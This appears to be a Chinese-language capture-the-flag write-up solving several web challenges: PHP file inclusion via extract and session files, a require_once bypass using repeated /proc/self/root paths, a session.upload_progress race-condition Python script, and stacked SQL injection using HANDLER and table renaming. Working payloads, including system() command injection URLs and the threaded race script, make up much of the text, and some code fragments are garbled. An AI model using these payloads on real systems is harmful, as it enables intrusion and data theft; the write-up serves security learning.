1: $_GET[‘function’] 执行函数
2: $_POST[‘name’] 可控制session值内容
其次又看到include($file);
存在文件包含,ini_set限定了文件包含目录
最后可见call_user_func($func,$_GET)
这个函数存在的漏洞点一般都是变量覆盖,利用extract
这个函数进行文件包含
利用函数extract进行文件包含得到包含文件的源码(读取到的这两个源码并没有实际的用途,只是为了展示一下确实可以这样用)
Ⅰ、/?function=extract&file=php://filter/read=convert.base64-encode/resource=function.php
得到function.php源码如下
$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}Cj8
Ⅱ、/?function=extract&file=php://filter/read=convert.base64-encode/resource=admin.php
hello admin
Ⅲ、这边我们要注意 php 中默认的 session 存储路径不在本题的限定目录中(/var/www/html 和 /tmp 中),理论上是在下面这些目录中
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
那我们便不能直接写入值并包含session
这边利用:session_start — 启动新会话或者重用现有会话用来写入新的session,
小坑提示(如果遇到抓包没有session值如下图,便要访问admin.php先得到admin的session便会出现session的格式了)
0x01payload:
将submit按钮的type从text改为submit,(为什么要这样做,如果直接刷新构造name参数会缺少长度和类型,导致name内容写不到文件中)
在输入框中输入:
(构造GET型参数,POST类型连接不上,怀疑是后缀问题)输入后进行抓包点击submit,然后在POST后面构造: /?function=session_start&save_path=/tmp/
然后放包就可以了,就能正常写入
0x02payload:
查询flag:/index.php?function=extract&file=/tmp/sess_PHPSESSID&1998=system('find / -name fla*');
PHPSESSID填写之前抓包时自动生成的cookie值,例如我的:/index.php?function=extract&file=/tmp/sess_2spagp5qjnofnbfn4e0iisifb0&1998=system('find / -name fla*');
发现flag路径在当前目录底下,获取flag:
/index.php?function=extract&file=/tmp/sess_2spagp5qjnofnbfn4e0iisifb0&1998=system(%27cat+/flag%27);
error_reporting(E_ALL);
require_once('flag.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
require_once($content);
}
这题有用的函数也就require_once
,这里有多种解法:
PHP文件包含基本函数也就include\require_once\ ,require_once也就帮忙捡个漏包含未包含的,如果已经include包含过的文件便不允许再通过require_once进行包含。
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,如果require_once(‘flag.php’),include的文件不运行再通过require_once包含。
通过知识点:/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,利用伪协议配合多级符号链接的办法进行绕过。
payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
若要了解为什么通过这种方式绕过请访问以下链接:
https://www.anquanke.com/post/id/213235#h3-3
通过session.upload_progress
进行文件包含
在PHP>5.4,session.upload_progress.enabled这个参数在php.ini中默认开启,在上传的过程中会生成上传进度文件,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ,存储路径可以在phpinfo中查到,但是,意思很明显上传文件时会生成临时文件在/tmp文件夹下,当上传结束后,便会删除文件,我们只需要在被删除之前进行文件包含便可,这就存在一个条件竞争了
这种解法可以用这个脚本,但是脚本的线程较为大,BUU可能遭不住
#coding=gb2312
import io
import requests
import threading
sessid = 'check'
data = {"cmd":"system('cat+/var/www/html/flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024*3)
resp = session.post( 'http://IP/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': ('check.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://IP/index.php?file=/tmp/sess_'+sessid,data=data)
if 'check.txt' in resp.text:
print(resp.text)
event.clear()
else:
pass
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
通过测试发现存在注入,但通过联合查询发现select都被过滤了,这叫《随便注》,存在这些过滤我们便需要换其他思路:
我们这题通过堆叠注入查询出所有表结果,发现正常查询的是表words中的数据,而我们需要的flag在flagg表中,如何去拿到flag我们有两种方法.
1’;show tables;#
1’;show columns from flagg;#
1’;show columns from words;#
Handler命令分析
打开一个表名为 table_name 的表的句柄
Handler table_name OPEN
1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
Handler table_name READ index_name{ = | <= | >= | < | > } (value1,value2,...)
2、通过索引查看表
FIRST: 获取第一行(索引最小的一行)NEXT: 获取下一行
PREV: 获取上一行 LAST:获取最后一行(索引最大的一行)
Handler table_name READ index_name { FIRST | NEXT |PREV | LAST }
3、不通过索引查看表
READ FIRST: 获取句柄的第一行
READ NEXT:依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
最后一行执行之后再执行 READ NEXT 会返回一个空的结果
Handler table_name READ { FIRST | NEXT }
4、关闭已打开的句柄
Handler table_name CLOSE
这题直接结合堆叠注入和handler查看表的读取语句找到flag
payload:1';handler flagg open;handler flagg first;#
因为在搜索框中有现成的sql语句,类似于
select id,data from words where id = xxx
只查询words中的数据,那我们可以将words这个表踢掉换成其他名称,让flagg表变成他,然后查询只要通过固定方式进行查询便是flag,因为flagg表只存在id列不存在data,data为空,单纯的输入id值查询不出我们需要的结果,这就需要通过
1’ or 1=1#
这种方式查出所有数据。
payload:1'; alter table words rename to fake;alter table flagg rename to words;alter table words change flag id varchar(50);#
(小插曲:普及知识点:alter table)
SQL ALTER TABLE 语法
如需在表中添加列,请使用下面的语法:
ALTER TABLE table_name ADD column_name datatype
如需删除表中的列,请使用下面的语法(请注意,某些数据库系统不允许这种在数据库表中删除列的方式):
ALTER TABLE table_name DROP COLUMN column_name
要改变表中列的数据类型,请使用下面的语法:
My SQL / Oracle:
ALTER TABLE table_name MODIFY COLUMN column_name datatype
如果我们需要更改表名称,可以使用语法:
ALTER TABLE table_name RENAME to newtable_name
如果我们需要更改列名称以及类型,可以使用下面的语法:
ALTER TABLE table_name CHANGE oldcolumn newcolumn newtype {newparameter}
下图可看到表名更改成功